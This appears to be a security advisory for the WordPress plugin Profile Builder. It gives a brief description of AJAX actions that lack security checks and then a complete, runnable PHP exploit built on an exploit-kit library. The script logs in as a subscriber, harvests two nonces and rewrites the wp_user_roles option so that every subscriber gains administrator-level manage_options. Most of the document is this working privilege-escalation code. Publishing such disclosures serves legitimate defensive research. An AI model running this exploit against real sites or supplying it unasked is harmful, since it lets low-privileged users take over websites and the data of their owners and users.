Profile Builder [Privilege Escalation]

Description

Plugin Profile Builder fails to properly protect specific functionalities thus allowing a registered user to exploit this in order to elevate his privileges.

Some of plugin’s functionalities are implemented by using AJAX actions. Some of those AJAX actions lack of security checks. By performing a series of malicious formed requests, an attacker can make it to the point of updating values in wp_options table with arbitrary values.

PoC

In this PoC we update the wp_user_roles option to give all subscribers the manage_options capability.

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Profile Builder - Privilege Escalation Exploit
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$session = new Requests_Session();

Cli::writeInfo( 'Authenticating with WordPress' );
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );

Cli::writeInfo('Getting a `wck-edit-entry` nonce...');

$r = $session->get(Endpoint::adminAjaxURL().'?action=wck_refresh_entrywppb_manage_fields');
if(!$r->success || $r->status_code != 200 || !preg_match('/onclick=\'showUpdateFormMeta\([^)]+?"([a-f0-9]+)"\)\'/', $r->body, $matches)){
    ExitCodes::exitWithFailed('Unable to get `wck-edit-entry` nonce');
}

Cli::writeInfo('Getting a `wck-update-entry` nonce...');

$r = $session->post(Endpoint::adminAjaxURL().'?action=wck_show_updatewppb_manage_fields', [], [
    'meta' => 'wp_user_roles',
    '_wpnonce' => $matches[1],
]);
unset($matches);
if(!$r->success || $r->status_code != 200 || !preg_match('/onclick=\'updateMeta\([^)]+?"([a-f0-9]+)"\)\'/', $r->body, $matches)){
    ExitCodes::exitWithFailed('Unable to get `wck-update-entry` nonce');
}

Cli::writeInfo('Updating subscribers capabilities...');

$data = [
    '_wpnonce'   => $matches[1],
    'action' => 'wck_update_metawppb_manage_fields',
    'meta'       => 'wp_user_roles',
    'element_id' => 'subscriber',
    'values'     => [
        'name'         => 'Subscriber',
        'capabilities' => [
            'read'           => true,
            'level_0'        => true,
            'manage_options' => true,
        ],
    ],
];

$r = $session->post(Endpoint::adminAjaxURL(), [], $data);

if(!$r->success || $r->status_code != 200 || !empty($r->body)){
    ExitCodes::exitWithFailed('Response error');
}

ExitCodes::exitWithSuccess('Exploit finished, subscriber should now have the manage_options capability');

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX